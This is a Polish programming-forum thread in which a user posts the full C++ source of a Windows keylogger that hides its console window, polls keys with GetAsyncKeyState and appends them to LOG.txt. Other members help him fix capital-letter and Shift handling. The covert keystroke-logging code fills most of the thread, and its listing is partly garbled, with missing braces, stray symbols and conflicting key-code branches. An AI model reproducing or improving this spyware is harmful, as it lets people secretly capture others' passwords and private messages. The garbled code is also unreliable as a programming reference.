Forum Gry Hobby Sprzęt Rozmawiamy Archiwum Regulamin

Forum: C++ Problem z Kodem

04.07.2016 14:52
1
D.W.95
10
Chorąży

C++ Problem z Kodem

No więc tak jak w temacie mam problem z kodem albo raczej z kilkoma kodami od niedawna prubuje zmajstrować własny keylogger taki lokalny bez możliwości wysyłania LOGu na e-mail wszystko niby śmiga z wyjątkiem tego że program nie potrafi rozpoznać czy klikam 2 czy @ po prostu do logu wstawia 2 to samo tyczy się liter jeśli napiszę dajmy na to TexT to program zapisuje w logu TEXT próbowałem uwzględnić w kodzie tak samo duże jak i małe litery ale program i tak ma ciężką wyjebkę na to i woli wstawiać co mu wygodniej :P

załączam fragment kodu może ktoś dopatrzy się błędu albo braku w kodzie

int save (int key_stroke, char*file)

if((key_stroke==1)||(key_stroke==2))
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE=fopen(file,"a+");

if(key_stroke==8) fprintf(OUTPUT_FILE,"%S","BACKSPACE");
else if(key_stroke==18)fprintf(OUTPUT_FILE,"%s","[ALT]");
else if(key_stroke==17)fprintf(OUTPUT_FILE,"%s","[CTRL]");
else if(key_stroke==91)fprintf(OUTPUT_FILE,"%s","[LWIN]");
else if(key_stroke==92)fprintf(OUTPUT_FILE,"%s","[RWIN]");
else if(key_stroke==32)fprintf(OUTPUT_FILE,"%s"," [ ]");
else if(key_stroke==93)fprintf(OUTPUT_FILE,"%s","[APPS]");
else if(key_stroke==16)fprintf(OUTPUT_FILE,"%s","[SHIFTKEY]");
else if(key_stroke==13)fprintf(OUTPUT_FILE,"%s","[ENTER]");
else if(key_stroke==8)fprintf(OUTPUT_FILE,"%s","[BACK]");
else if(key_stroke==20)fprintf(OUTPUT_FILE,"%s","[CAPSLOCK]");
else if(key_stroke==9)fprintf(OUTPUT_FILE,"%s","[TAB]");
else if(key_stroke==126)fprintf(OUTPUT_FILE,"%s","[~]");
else if(key_stroke==96)fprintf(OUTPUT_FILE,"%s","[`]");
else if(key_stroke==27)fprintf(OUTPUT_FILE,"%s","[ESC]");
else if(key_stroke==49)fprintf(OUTPUT_FILE,"%s","[1]");
else if(key_stroke==33)fprintf(OUTPUT_FILE,"%s","[!]");
else if(key_stroke==50)fprintf(OUTPUT_FILE,"%s","[2]");
else if(key_stroke==64)fprintf(OUTPUT_FILE,"%s","[@]");
else if(key_stroke==51)fprintf(OUTPUT_FILE,"%s","[3]");
else if(key_stroke==35)fprintf(OUTPUT_FILE,"%s","[#]");
else if(key_stroke==52)fprintf(OUTPUT_FILE,"%s","[4]");
else if(key_stroke==36)fprintf(OUTPUT_FILE,"%s","[$]");
else if(key_stroke==53)fprintf(OUTPUT_FILE,"%s","[5]");
else if(key_stroke==37)fprintf(OUTPUT_FILE,"%s","[%]");
else if(key_stroke==54)fprintf(OUTPUT_FILE,"%s","[6]");
else if(key_stroke==94)fprintf(OUTPUT_FILE,"%s","[^]");
else if(key_stroke==55)fprintf(OUTPUT_FILE,"%s","[7]");
else if(key_stroke==38)fprintf(OUTPUT_FILE,"%s","[&]");
else if(key_stroke==56)fprintf(OUTPUT_FILE,"%s","[8]");
else if(key_stroke==42)fprintf(OUTPUT_FILE,"%s","[*]");
else if(key_stroke==57)fprintf(OUTPUT_FILE,"%s","[9]");
else if(key_stroke==40)fprintf(OUTPUT_FILE,"%s","[(]");
else if(key_stroke==48)fprintf(OUTPUT_FILE,"%s","[0]");
else if(key_stroke==41)fprintf(OUTPUT_FILE,"%s","[)]");
else if(key_stroke==45)fprintf(OUTPUT_FILE,"%s","[-]");
else if(key_stroke==95)fprintf(OUTPUT_FILE,"%s","[_]");
else if(key_stroke==61)fprintf(OUTPUT_FILE,"%s","[=]");
else if(key_stroke==43)fprintf(OUTPUT_FILE,"%s","[+]");
else if(key_stroke==92)fprintf(OUTPUT_FILE,"%s","[\]");
else if(key_stroke==124)fprintf(OUTPUT_FILE,"%s","[|]");
else if(key_stroke==113)fprintf(OUTPUT_FILE,"%s","[q]");
else if(key_stroke==81)fprintf(OUTPUT_FILE,"%s","[Q]");
else if(key_stroke==119)fprintf(OUTPUT_FILE,"%s","[w]");
else if(key_stroke==87)fprintf(OUTPUT_FILE,"%s","[W]");
else if(key_stroke==101)fprintf(OUTPUT_FILE,"%s","[e]");
else if(key_stroke==69)fprintf(OUTPUT_FILE,"%s","[E]");
else if(key_stroke==114)fprintf(OUTPUT_FILE,"%s","[r]");
else if(key_stroke==82)fprintf(OUTPUT_FILE,"%s","[R]");
else if(key_stroke==116)fprintf(OUTPUT_FILE,"%s","[t]");
else if(key_stroke==84)fprintf(OUTPUT_FILE,"%s","[T]");
else if(key_stroke==121)fprintf(OUTPUT_FILE,"%s","[y]");
else if(key_stroke==89)fprintf(OUTPUT_FILE,"%s","[Y]");
else if(key_stroke==117)fprintf(OUTPUT_FILE,"%s","");
else if(key_stroke==85)fprintf(OUTPUT_FILE,"%s","");
else if(key_stroke==105)fprintf(OUTPUT_FILE,"%s","");
else if(key_stroke==73)fprintf(OUTPUT_FILE,"%s","");
else if(key_stroke==111)fprintf(OUTPUT_FILE,"%s","[o]");
else if(key_stroke==79)fprintf(OUTPUT_FILE,"%s","[O]");
else if(key_stroke==112)fprintf(OUTPUT_FILE,"%s","[p]");
else if(key_stroke==80)fprintf(OUTPUT_FILE,"%s","[P]");
else if(key_stroke==91)fprintf(OUTPUT_FILE,"%s","[[]");
else if(key_stroke==123)fprintf(OUTPUT_FILE,"%s","[‹]");
else if(key_stroke==93)fprintf(OUTPUT_FILE,"%s","[]]");
else if(key_stroke==125)fprintf(OUTPUT_FILE,"%s","[›]");
else if(key_stroke==97)fprintf(OUTPUT_FILE,"%s","[a]");
else if(key_stroke==65)fprintf(OUTPUT_FILE,"%s","[A]");
else if(key_stroke==115)fprintf(OUTPUT_FILE,"%s","[s]");
else if(key_stroke==83)fprintf(OUTPUT_FILE,"%s","[S]");
else if(key_stroke==100)fprintf(OUTPUT_FILE,"%s","[d]");
else if(key_stroke==68)fprintf(OUTPUT_FILE,"%s","[D]");
else if(key_stroke==102)fprintf(OUTPUT_FILE,"%s","[f]");
else if(key_stroke==70)fprintf(OUTPUT_FILE,"%s","[F]");
else if(key_stroke==103)fprintf(OUTPUT_FILE,"%s","[g]");
else if(key_stroke==71)fprintf(OUTPUT_FILE,"%s","[G]");
else if(key_stroke==104)fprintf(OUTPUT_FILE,"%s","[h]");
else if(key_stroke==72)fprintf(OUTPUT_FILE,"%s","[H]");
else if(key_stroke==106)fprintf(OUTPUT_FILE,"%s","[j]");
else if(key_stroke==74)fprintf(OUTPUT_FILE,"%s","[J]");
else if(key_stroke==107)fprintf(OUTPUT_FILE,"%s","[k]");
else if(key_stroke==75)fprintf(OUTPUT_FILE,"%s","[K]");
else if(key_stroke==108)fprintf(OUTPUT_FILE,"%s","[l]");
else if(key_stroke==76)fprintf(OUTPUT_FILE,"%s","[L]");
else if(key_stroke==59)fprintf(OUTPUT_FILE,"%s","[;]");
else if(key_stroke==58)fprintf(OUTPUT_FILE,"%s","[:]");
else if(key_stroke==39)fprintf(OUTPUT_FILE,"%s","[']");
else if(key_stroke==34)fprintf(OUTPUT_FILE,"%s","[TITLE]");
else if(key_stroke==122)fprintf(OUTPUT_FILE,"%s","[z]");
else if(key_stroke==90)fprintf(OUTPUT_FILE,"%s","[Z]");
else if(key_stroke==120)fprintf(OUTPUT_FILE,"%s","[x]");
else if(key_stroke==88)fprintf(OUTPUT_FILE,"%s","[X]");
else if(key_stroke==99)fprintf(OUTPUT_FILE,"%s","[c]");
else if(key_stroke==67)fprintf(OUTPUT_FILE,"%s","[C]");
else if(key_stroke==118)fprintf(OUTPUT_FILE,"%s","[v]");
else if(key_stroke==86)fprintf(OUTPUT_FILE,"%s","[V]");
else if(key_stroke==98)fprintf(OUTPUT_FILE,"%s","");
else if(key_stroke==66)fprintf(OUTPUT_FILE,"%s","");
else if(key_stroke==110)fprintf(OUTPUT_FILE,"%s","[n]");
else if(key_stroke==78)fprintf(OUTPUT_FILE,"%s","[N]");
else if(key_stroke==109)fprintf(OUTPUT_FILE,"[m]");
else if(key_stroke==77)fprintf(OUTPUT_FILE,"%s","[M]");
else if(key_stroke==44)fprintf(OUTPUT_FILE,"%s","[,]");
else if(key_stroke==60)fprintf(OUTPUT_FILE,"%s","[<]");
else if(key_stroke==46)fprintf(OUTPUT_FILE,"%s","[.]");
else if(key_stroke==62)fprintf(OUTPUT_FILE,"%s","[>]");
else if(key_stroke==47)fprintf(OUTPUT_FILE,"%s","[/]");
else if(key_stroke==63)fprintf(OUTPUT_FILE,"%s","[?]");
else if(key_stroke==112)fprintf(OUTPUT_FILE,"%s","[F1]");
else if(key_stroke==113)fprintf(OUTPUT_FILE,"%s","[F2]");
else if(key_stroke==114)fprintf(OUTPUT_FILE,"%s","[F3]");
else if(key_stroke==115)fprintf(OUTPUT_FILE,"%s","[F4]");
else if(key_stroke==116)fprintf(OUTPUT_FILE,"%s","[F5]");
else if(key_stroke==117)fprintf(OUTPUT_FILE,"%s","[F6]");
else if(key_stroke==118)fprintf(OUTPUT_FILE,"%s","[F7]");
else if(key_stroke==119)fprintf(OUTPUT_FILE,"%s","[F8]");
else if(key_stroke==120)fprintf(OUTPUT_FILE,"%s","[F9]");
else if(key_stroke==121)fprintf(OUTPUT_FILE,"%s","[F10]");
else if(key_stroke==122)fprintf(OUTPUT_FILE,"%s","[F11]");
else if(key_stroke==123)fprintf(OUTPUT_FILE,"%s","[F12]");
else if(key_stroke==172)fprintf(OUTPUT_FILE,"%s","[BROWSEHOME]");
else if(key_stroke==183)fprintf(OUTPUT_FILE,"%s","[CALCULATOR]");
else if(key_stroke==180)fprintf(OUTPUT_FILE,"%s","[MAIL]");
else if(key_stroke==19)fprintf(OUTPUT_FILE,"%s","[PAUSE]");
else if(key_stroke==145)fprintf(OUTPUT_FILE,"%s","[SCROLLLOCK]");
else if(key_stroke==44)fprintf(OUTPUT_FILE,"%s","[PRINTSCREEN]");
else if(key_stroke==45)fprintf(OUTPUT_FILE,"%s","[INSERT]");
else if(key_stroke==36)fprintf(OUTPUT_FILE,"%s","[HOME]");
else if(key_stroke==33)fprintf(OUTPUT_FILE,"%s","[PAGEUP]");
else if(key_stroke==46)fprintf(OUTPUT_FILE,"%s","[DELETE]");
else if(key_stroke==35)fprintf(OUTPUT_FILE,"%s","[END]");
else if(key_stroke==34)fprintf(OUTPUT_FILE,"%s","[PAGEDOWN]");
else if(key_stroke==37)fprintf(OUTPUT_FILE,"%s","[LEFT]");
else if(key_stroke==39)fprintf(OUTPUT_FILE,"%s","[RIGHT]");
else if(key_stroke==40)fprintf(OUTPUT_FILE,"%s","[DOWN]");
else if(key_stroke==38)fprintf(OUTPUT_FILE,"%s","[UP]");
else if(key_stroke==144)fprintf(OUTPUT_FILE,"%s","[NUMLOCK]");
else if(key_stroke==111)fprintf(OUTPUT_FILE,"%s","[DIVIDE]");
else if(key_stroke==106)fprintf(OUTPUT_FILE,"%s","[MULTIPLY]");
else if(key_stroke==109)fprintf(OUTPUT_FILE,"%s","[SUBTRACT]");
else if(key_stroke==103)fprintf(OUTPUT_FILE,"%s","[NUM7]");
else if(key_stroke==104)fprintf(OUTPUT_FILE,"%s","[NUM8]");
else if(key_stroke==105)fprintf(OUTPUT_FILE,"%s","[NUM9]");
else if(key_stroke==100)fprintf(OUTPUT_FILE,"%s","[NUM4]");
else if(key_stroke==101)fprintf(OUTPUT_FILE,"%s","[NUM5]");
else if(key_stroke==102)fprintf(OUTPUT_FILE,"%s","[NUM6]");
else if(key_stroke==97)fprintf(OUTPUT_FILE,"%s","[NUM1]");
else if(key_stroke==98)fprintf(OUTPUT_FILE,"%s","[NUM2]");
else if(key_stroke==99)fprintf(OUTPUT_FILE,"%s","[NUM3]");
else if(key_stroke==96)fprintf(OUTPUT_FILE,"%s","[NUM0]");
else if(key_stroke==110)fprintf(OUTPUT_FILE,"%s","[DECIMAL]");
else if(key_stroke==107)fprintf(OUTPUT_FILE,"%s","[ADD]");


else fprintf(OUTPUT_FILE,"%s",&key_stroke);

fclose(OUTPUT_FILE);
cout<<key_stroke<<endl;

return 0;

Zwróciłem uwagę na to że program wstawia klawisze takie jak [SHIFTKEY] więc postanowiłem zmienić sposób wyświetlania liter w logu na dajmy na to

else if(key_stroke==98)fprintf(OUTPUT_FILE,"%s","[b.małe]");
else if(key_stroke==66)fprintf(OUTPUT_FILE,"%s","[B.duże]");

ale program nie wiedzieć czemu tego nie uwzględnił i wstawiał po prostu B

04.07.2016 15:02
wysiak
2
odpowiedz
wysiak
95
tafata tofka

Pokaz jak wywolujesz ta funkcje.

04.07.2016 15:15
3
odpowiedz
D.W.95
10
Chorąży

Tu jest cały Kod

#include <iostream>
#include <fstream>
using namespace std;
#include <windows.h>
#include <winuser.h>
int save (int key_stroke, char*file)

if((key_stroke==1)||(key_stroke==2))
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE=fopen(file,"a+");

if(key_stroke==8) fprintf(OUTPUT_FILE,"%S","BACKSPACE");
else if(key_stroke==18)fprintf(OUTPUT_FILE,"%s","[ALT]");
else if(key_stroke==17)fprintf(OUTPUT_FILE,"%s","[CTRL]");
else if(key_stroke==91)fprintf(OUTPUT_FILE,"%s","[LWIN]");
else if(key_stroke==92)fprintf(OUTPUT_FILE,"%s","[RWIN]");
else if(key_stroke==32)fprintf(OUTPUT_FILE,"%s"," [ ]");
else if(key_stroke==93)fprintf(OUTPUT_FILE,"%s","[APPS]");
else if(key_stroke==16)fprintf(OUTPUT_FILE,"%s","[SHIFTKEY]");
else if(key_stroke==13)fprintf(OUTPUT_FILE,"%s","[ENTER]");
else if(key_stroke==8)fprintf(OUTPUT_FILE,"%s","[BACK]");
else if(key_stroke==20)fprintf(OUTPUT_FILE,"%s","[CAPSLOCK]");
else if(key_stroke==9)fprintf(OUTPUT_FILE,"%s","[TAB]");
else if(key_stroke==126)fprintf(OUTPUT_FILE,"%s","[~]");
else if(key_stroke==96)fprintf(OUTPUT_FILE,"%s","[`]");
else if(key_stroke==27)fprintf(OUTPUT_FILE,"%s","[ESC]");
else if(key_stroke==49)fprintf(OUTPUT_FILE,"%s","[1]");
else if(key_stroke==33)fprintf(OUTPUT_FILE,"%s","[!]");
else if(key_stroke==50)fprintf(OUTPUT_FILE,"%s","[2]");
else if(key_stroke==64)fprintf(OUTPUT_FILE,"%s","[@]");
else if(key_stroke==51)fprintf(OUTPUT_FILE,"%s","[3]");
else if(key_stroke==35)fprintf(OUTPUT_FILE,"%s","[#]");
else if(key_stroke==52)fprintf(OUTPUT_FILE,"%s","[4]");
else if(key_stroke==36)fprintf(OUTPUT_FILE,"%s","[$]");
else if(key_stroke==53)fprintf(OUTPUT_FILE,"%s","[5]");
else if(key_stroke==37)fprintf(OUTPUT_FILE,"%s","[%]");
else if(key_stroke==54)fprintf(OUTPUT_FILE,"%s","[6]");
else if(key_stroke==94)fprintf(OUTPUT_FILE,"%s","[^]");
else if(key_stroke==55)fprintf(OUTPUT_FILE,"%s","[7]");
else if(key_stroke==38)fprintf(OUTPUT_FILE,"%s","[&]");
else if(key_stroke==56)fprintf(OUTPUT_FILE,"%s","[8]");
else if(key_stroke==42)fprintf(OUTPUT_FILE,"%s","[*]");
else if(key_stroke==57)fprintf(OUTPUT_FILE,"%s","[9]");
else if(key_stroke==40)fprintf(OUTPUT_FILE,"%s","[(]");
else if(key_stroke==48)fprintf(OUTPUT_FILE,"%s","[0]");
else if(key_stroke==41)fprintf(OUTPUT_FILE,"%s","[)]");
else if(key_stroke==45)fprintf(OUTPUT_FILE,"%s","[-]");
else if(key_stroke==95)fprintf(OUTPUT_FILE,"%s","[_]");
else if(key_stroke==61)fprintf(OUTPUT_FILE,"%s","[=]");
else if(key_stroke==43)fprintf(OUTPUT_FILE,"%s","[+]");
else if(key_stroke==92)fprintf(OUTPUT_FILE,"%s","[\]");
else if(key_stroke==124)fprintf(OUTPUT_FILE,"%s","[|]");
else if(key_stroke==113)fprintf(OUTPUT_FILE,"%s","[q]");
else if(key_stroke==81)fprintf(OUTPUT_FILE,"%s","[Q]");
else if(key_stroke==119)fprintf(OUTPUT_FILE,"%s","[w]");
else if(key_stroke==87)fprintf(OUTPUT_FILE,"%s","[W]");
else if(key_stroke==101)fprintf(OUTPUT_FILE,"%s","[e]");
else if(key_stroke==69)fprintf(OUTPUT_FILE,"%s","[E]");
else if(key_stroke==114)fprintf(OUTPUT_FILE,"%s","[r]");
else if(key_stroke==82)fprintf(OUTPUT_FILE,"%s","[R]");
else if(key_stroke==116)fprintf(OUTPUT_FILE,"%s","[t]");
else if(key_stroke==84)fprintf(OUTPUT_FILE,"%s","[T]");
else if(key_stroke==121)fprintf(OUTPUT_FILE,"%s","[y]");
else if(key_stroke==89)fprintf(OUTPUT_FILE,"%s","[Y]");
else if(key_stroke==117)fprintf(OUTPUT_FILE,"%s","");
else if(key_stroke==85)fprintf(OUTPUT_FILE,"%s","");
else if(key_stroke==105)fprintf(OUTPUT_FILE,"%s","");
else if(key_stroke==73)fprintf(OUTPUT_FILE,"%s","");
else if(key_stroke==111)fprintf(OUTPUT_FILE,"%s","[o]");
else if(key_stroke==79)fprintf(OUTPUT_FILE,"%s","[O]");
else if(key_stroke==112)fprintf(OUTPUT_FILE,"%s","[p]");
else if(key_stroke==80)fprintf(OUTPUT_FILE,"%s","[P]");
else if(key_stroke==91)fprintf(OUTPUT_FILE,"%s","[[]");
else if(key_stroke==123)fprintf(OUTPUT_FILE,"%s","[‹]");
else if(key_stroke==93)fprintf(OUTPUT_FILE,"%s","[]]");
else if(key_stroke==125)fprintf(OUTPUT_FILE,"%s","[›]");
else if(key_stroke==97)fprintf(OUTPUT_FILE,"%s","[a]");
else if(key_stroke==65)fprintf(OUTPUT_FILE,"%s","[A]");
else if(key_stroke==115)fprintf(OUTPUT_FILE,"%s","[s]");
else if(key_stroke==83)fprintf(OUTPUT_FILE,"%s","[S]");
else if(key_stroke==100)fprintf(OUTPUT_FILE,"%s","[d]");
else if(key_stroke==68)fprintf(OUTPUT_FILE,"%s","[D]");
else if(key_stroke==102)fprintf(OUTPUT_FILE,"%s","[f]");
else if(key_stroke==70)fprintf(OUTPUT_FILE,"%s","[F]");
else if(key_stroke==103)fprintf(OUTPUT_FILE,"%s","[g]");
else if(key_stroke==71)fprintf(OUTPUT_FILE,"%s","[G]");
else if(key_stroke==104)fprintf(OUTPUT_FILE,"%s","[h]");
else if(key_stroke==72)fprintf(OUTPUT_FILE,"%s","[H]");
else if(key_stroke==106)fprintf(OUTPUT_FILE,"%s","[j]");
else if(key_stroke==74)fprintf(OUTPUT_FILE,"%s","[J]");
else if(key_stroke==107)fprintf(OUTPUT_FILE,"%s","[k]");
else if(key_stroke==75)fprintf(OUTPUT_FILE,"%s","[K]");
else if(key_stroke==108)fprintf(OUTPUT_FILE,"%s","[l]");
else if(key_stroke==76)fprintf(OUTPUT_FILE,"%s","[L]");
else if(key_stroke==59)fprintf(OUTPUT_FILE,"%s","[;]");
else if(key_stroke==58)fprintf(OUTPUT_FILE,"%s","[:]");
else if(key_stroke==39)fprintf(OUTPUT_FILE,"%s","[']");
else if(key_stroke==34)fprintf(OUTPUT_FILE,"%s","[TITLE]");
else if(key_stroke==122)fprintf(OUTPUT_FILE,"%s","[z]");
else if(key_stroke==90)fprintf(OUTPUT_FILE,"%s","[Z]");
else if(key_stroke==120)fprintf(OUTPUT_FILE,"%s","[x]");
else if(key_stroke==88)fprintf(OUTPUT_FILE,"%s","[X]");
else if(key_stroke==99)fprintf(OUTPUT_FILE,"%s","[c]");
else if(key_stroke==67)fprintf(OUTPUT_FILE,"%s","[C]");
else if(key_stroke==118)fprintf(OUTPUT_FILE,"%s","[v]");
else if(key_stroke==86)fprintf(OUTPUT_FILE,"%s","[V]");
else if(key_stroke==98)fprintf(OUTPUT_FILE,"%s","");
else if(key_stroke==66)fprintf(OUTPUT_FILE,"%s","");
else if(key_stroke==110)fprintf(OUTPUT_FILE,"%s","[n]");
else if(key_stroke==78)fprintf(OUTPUT_FILE,"%s","[N]");
else if(key_stroke==109)fprintf(OUTPUT_FILE,"[m]");
else if(key_stroke==77)fprintf(OUTPUT_FILE,"%s","[M]");
else if(key_stroke==44)fprintf(OUTPUT_FILE,"%s","[,]");
else if(key_stroke==60)fprintf(OUTPUT_FILE,"%s","[<]");
else if(key_stroke==46)fprintf(OUTPUT_FILE,"%s","[.]");
else if(key_stroke==62)fprintf(OUTPUT_FILE,"%s","[>]");
else if(key_stroke==47)fprintf(OUTPUT_FILE,"%s","[/]");
else if(key_stroke==63)fprintf(OUTPUT_FILE,"%s","[?]");
else if(key_stroke==112)fprintf(OUTPUT_FILE,"%s","[F1]");
else if(key_stroke==113)fprintf(OUTPUT_FILE,"%s","[F2]");
else if(key_stroke==114)fprintf(OUTPUT_FILE,"%s","[F3]");
else if(key_stroke==115)fprintf(OUTPUT_FILE,"%s","[F4]");
else if(key_stroke==116)fprintf(OUTPUT_FILE,"%s","[F5]");
else if(key_stroke==117)fprintf(OUTPUT_FILE,"%s","[F6]");
else if(key_stroke==118)fprintf(OUTPUT_FILE,"%s","[F7]");
else if(key_stroke==119)fprintf(OUTPUT_FILE,"%s","[F8]");
else if(key_stroke==120)fprintf(OUTPUT_FILE,"%s","[F9]");
else if(key_stroke==121)fprintf(OUTPUT_FILE,"%s","[F10]");
else if(key_stroke==122)fprintf(OUTPUT_FILE,"%s","[F11]");
else if(key_stroke==123)fprintf(OUTPUT_FILE,"%s","[F12]");
else if(key_stroke==172)fprintf(OUTPUT_FILE,"%s","[BROWSEHOME]");
else if(key_stroke==183)fprintf(OUTPUT_FILE,"%s","[CALCULATOR]");
else if(key_stroke==180)fprintf(OUTPUT_FILE,"%s","[MAIL]");
else if(key_stroke==19)fprintf(OUTPUT_FILE,"%s","[PAUSE]");
else if(key_stroke==145)fprintf(OUTPUT_FILE,"%s","[SCROLLLOCK]");
else if(key_stroke==44)fprintf(OUTPUT_FILE,"%s","[PRINTSCREEN]");
else if(key_stroke==45)fprintf(OUTPUT_FILE,"%s","[INSERT]");
else if(key_stroke==36)fprintf(OUTPUT_FILE,"%s","[HOME]");
else if(key_stroke==33)fprintf(OUTPUT_FILE,"%s","[PAGEUP]");
else if(key_stroke==46)fprintf(OUTPUT_FILE,"%s","[DELETE]");
else if(key_stroke==35)fprintf(OUTPUT_FILE,"%s","[END]");
else if(key_stroke==34)fprintf(OUTPUT_FILE,"%s","[PAGEDOWN]");
else if(key_stroke==37)fprintf(OUTPUT_FILE,"%s","[LEFT]");
else if(key_stroke==39)fprintf(OUTPUT_FILE,"%s","[RIGHT]");
else if(key_stroke==40)fprintf(OUTPUT_FILE,"%s","[DOWN]");
else if(key_stroke==38)fprintf(OUTPUT_FILE,"%s","[UP]");
else if(key_stroke==144)fprintf(OUTPUT_FILE,"%s","[NUMLOCK]");
else if(key_stroke==111)fprintf(OUTPUT_FILE,"%s","[DIVIDE]");
else if(key_stroke==106)fprintf(OUTPUT_FILE,"%s","[MULTIPLY]");
else if(key_stroke==109)fprintf(OUTPUT_FILE,"%s","[SUBTRACT]");
else if(key_stroke==103)fprintf(OUTPUT_FILE,"%s","[NUM7]");
else if(key_stroke==104)fprintf(OUTPUT_FILE,"%s","[NUM8]");
else if(key_stroke==105)fprintf(OUTPUT_FILE,"%s","[NUM9]");
else if(key_stroke==100)fprintf(OUTPUT_FILE,"%s","[NUM4]");
else if(key_stroke==101)fprintf(OUTPUT_FILE,"%s","[NUM5]");
else if(key_stroke==102)fprintf(OUTPUT_FILE,"%s","[NUM6]");
else if(key_stroke==97)fprintf(OUTPUT_FILE,"%s","[NUM1]");
else if(key_stroke==98)fprintf(OUTPUT_FILE,"%s","[NUM2]");
else if(key_stroke==99)fprintf(OUTPUT_FILE,"%s","[NUM3]");
else if(key_stroke==96)fprintf(OUTPUT_FILE,"%s","[NUM0]");
else if(key_stroke==110)fprintf(OUTPUT_FILE,"%s","[DECIMAL]");
else if(key_stroke==107)fprintf(OUTPUT_FILE,"%s","[ADD]");


else fprintf(OUTPUT_FILE,"%s",&key_stroke);

fclose(OUTPUT_FILE);
cout<<key_stroke<<endl;

return 0;



void stealth ()‹
HWND stealth;
AllocConsole();
stealth=FindWindowA("consoleWindowClass",NULL);
ShowWindow(stealth,0);



int main ()‹
stealth();
char i;
while(1)‹
for(i=8; i<=190; i++)‹
if(GetAsyncKeyState(i)==-32767)
save(i,"LOG.txt");



system("PAUSE");
return 0;›



04.07.2016 15:30
wysiak
4
odpowiedz
wysiak
95
tafata tofka

https://msdn.microsoft.com/en-us/library/windows/desktop/ms646293(v=vs.85).aspx
Z tego co rozumiem, GetAsyncKeyState nie rozroznia stanow klawiszy funkcyjnych, dlatego gdy wciskasz klawisze "shift" a pozniej "b", dostajesz eventy z tych dwoch klawiszy osobno, zamiast jednego duzego "B".

You can use the virtual-key code constants VK_SHIFT, VK_CONTROL, and VK_MENU as values for the vKey parameter. This gives the state of the SHIFT, CTRL, or ALT keys without distinguishing between left and right.

04.07.2016 15:34
5
odpowiedz
D.W.95
10
Chorąży

Chyba już wiem o co chodzi dzięki za pomoc ;)

04.07.2016 15:41
Legion 13
6
odpowiedz
Legion 13
158
The Black Swordsman

O.o Mother of Else if :D
Klawisze wprowadzane są po kolei, jak klikniesz shift + b to dostajesz shift i b a nie B.
Poza tym nie wiem skąd ty te kody masz, nigdzie nie znalazłem osobnych kodów do dużych i małych liter (może dlatego że różne przyciski do dużych i małych liter nie istnieją), tutaj są VK kody od Microsoftu:
https://msdn.microsoft.com/pl-pl/library/windows/desktop/dd375731(v=vs.85).aspx
a tu po zamianie na system dziesiętny:
http://www.mods.com.au/budapi_docs/Virtual%20Key%20Codes.htm

04.07.2016 15:53
7
odpowiedz
D.W.95
10
Chorąży

faktycznie inne klawisze do małych liter nie istnieją ale znak dajmy na to "A" i "a" mają inny od siebie kod
dopiero teraz się zorientowałem że program jest ustawiony pod sczytywanie wstukanych klawiszy a nie znaków :P czyli nie zależnie od tego jaki znak wstawię to program zakoduje tylko wciśnięte przeze mnie klawisze spróbuje zmienić kod w taki sposób żeby kliknięcie SHIFT + b zapisywał jako pojedynczy event czyli B to samo zrobię z ALT i powinno śmigać :P

Forum: C++ Problem z Kodem